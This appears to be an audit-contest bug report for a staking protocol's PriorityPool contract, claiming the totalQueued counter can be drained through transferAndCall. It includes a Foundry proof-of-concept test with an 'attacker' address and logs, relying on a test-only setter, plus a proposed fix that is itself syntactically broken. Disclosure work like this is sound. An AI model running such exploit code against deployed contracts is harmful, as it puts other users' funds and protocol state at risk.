Submission Details
Severity:
totalQueued can be manipulated and cause issues for other users
Summary
The totalQueued variable can be manipulated, and this can cause unintended behavior in the protocol
Vulnerability Details
function transferAndCall(
address _to,
uint256 _value,
bytes memory _data
) public returns (bool) {//@audit chek this can allow drain pool
super.transfer(_to, _value);
if (isContract(_to)) {
contractFallback(msg.sender, _to, _value, _data);
}
return true;
}
function onTokenTransfer(address _sender, uint256 _value, bytes calldata _calldata) external {
if (_value == 0) revert InvalidValue();
(bool shouldQueue, bytes[] memory data) = abi.decode(_calldata, (bool, bytes[]));
if (msg.sender == address(token)) {
_deposit(_sender, _value, shouldQueue, data);
} else if (msg.sender == address(stakingPool)) {//@audit ---------
uint256 amountQueued = _withdraw(_sender, _value, shouldQueue);
token.safeTransfer(_sender, _value - amountQueued);
} else {
revert UnauthorizedToken();
}
}
function _withdraw(
address _account,
uint256 _amount,
bool _shouldQueueWithdrawal
) internal returns (uint256) {
if (poolStatus == PoolStatus.CLOSED) revert WithdrawalsDisabled();
uint256 toWithdraw = _amount;
if (totalQueued != 0) {
uint256 toWithdrawFromQueue = toWithdraw <= totalQueued ? toWithdraw : totalQueued;
totalQueued -= toWithdrawFromQueue;
depositsSinceLastUpdate += toWithdrawFromQueue;
sharesSinceLastUpdate += stakingPool.getSharesByStake(toWithdrawFromQueue);
toWithdraw -= toWithdrawFromQueue;
}
if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
withdrawalPool.queueWithdrawal(_account, toWithdraw);
}
emit Withdraw(_account, _amount - toWithdraw);
return toWithdraw;
}
The issue arises when a user call transferAndCall with to = PriorityPool, and this calls onTokenTransfer, which internally calls _withdraw. With the appropriate values, this decreases the total of the totalQueued variable
this is a test for demostration
note:totalqueued is set only for demostrations on the test
// SPDX-License-Identifier: UNLICENSED
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "../PriorityPool.sol";
import "../StakingPool.sol";
import "../SDLPoolMock.sol";
import "../ERC677_.sol";
contract stakelink is Test {
StakingPool pool;
PriorityPool Ppool;
SDLPoolMock SPoolMock;
ERC677_ token;
address user = address(1);
address user2 = address(2);
address attacker = address(3);
struct Fee {
// address to receive fee
address receiver;
// value of fee in basis points
uint256 basisPoints;
}
function setUp() public {
token = new ERC677_("ChainLINK","LINK",1000000000);
SPoolMock = new SDLPoolMock();
pool = new StakingPool();
Ppool = new PriorityPool();
pool.initialize(address(token), "Staked LINK", "stLINK", 10000e18);
Ppool.initialize(address(token), address(pool), address(SPoolMock), 100e18, 1000e18);
pool.setPriorityPool(address(Ppool));
token.mintForTest(100000000000000, user);
vm.prank(user);
token.approve(address(Ppool), 1000000000000000000);
bytes[] memory data = new bytes[]();
data[0]=abi.encode("");
vm.prank(user);
Ppool.deposit(1000, false, data);//this is only for test, this should be the protocol
}
function test_manipulateTotalQueued() public {
bytes[] memory data = new bytes[]();
data[0]=abi.encode("");
vm.prank(user);
Ppool.deposit(5000, false, data);
console.log("totalQueued before:",Ppool.totalQueued());
console.log("-----set totalQueued for test------");
Ppool.settotalQueuedTest(2500);//this is for test
console.log("totalQueued after:",Ppool.totalQueued());
console.log("-----manipulate totalQueued------");
bytes memory data1 =abi.encode(true, data);
vm.prank(user);
token.transfer(address(Ppool),2500);
vm.prank(user);
pool.transferAndCall(address(Ppool), 5000, data1);
console.log("totalQueued:",Ppool.totalQueued());
}
}
the test is run in foundry and he result is
Ran 1 test for src/test/testStaking.t.sol:stakelink
[PASS] test_manipulateTotalQueued() (gas: 210994)
Logs:
totalQueued before: 0
-----set totalQueued for test------
totalQueued after: 2500
-----manipulate totalQueued------
totalQueued: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 766.19ms (137.93ms CPU time)
Ran 1 test suite in 1.53s (766.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
note:Although the attacker needs to transfer their own funds, they can recuperate some tokens by calling withdrawal
Impact
unintended behaviors in the protocol can cause issues
Tools Used
foundry, manual review
Recommendations
can add this
function transferAndCall(
address _to,
uint256 _value,
bytes memory _data
) public returns (bool) {
+++ require(_to=!priorityPool);
super.transfer(_to, _value);
if (isContract(_to)) {
contractFallback(msg.sender, _to, _value, _data);
}
return true;
}
Prize pool breakdown
Total prize
50,000 USDC
nSLOC
2,53020 USDC / LOC
42,000 USDC
4,250 USDC
3,750 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.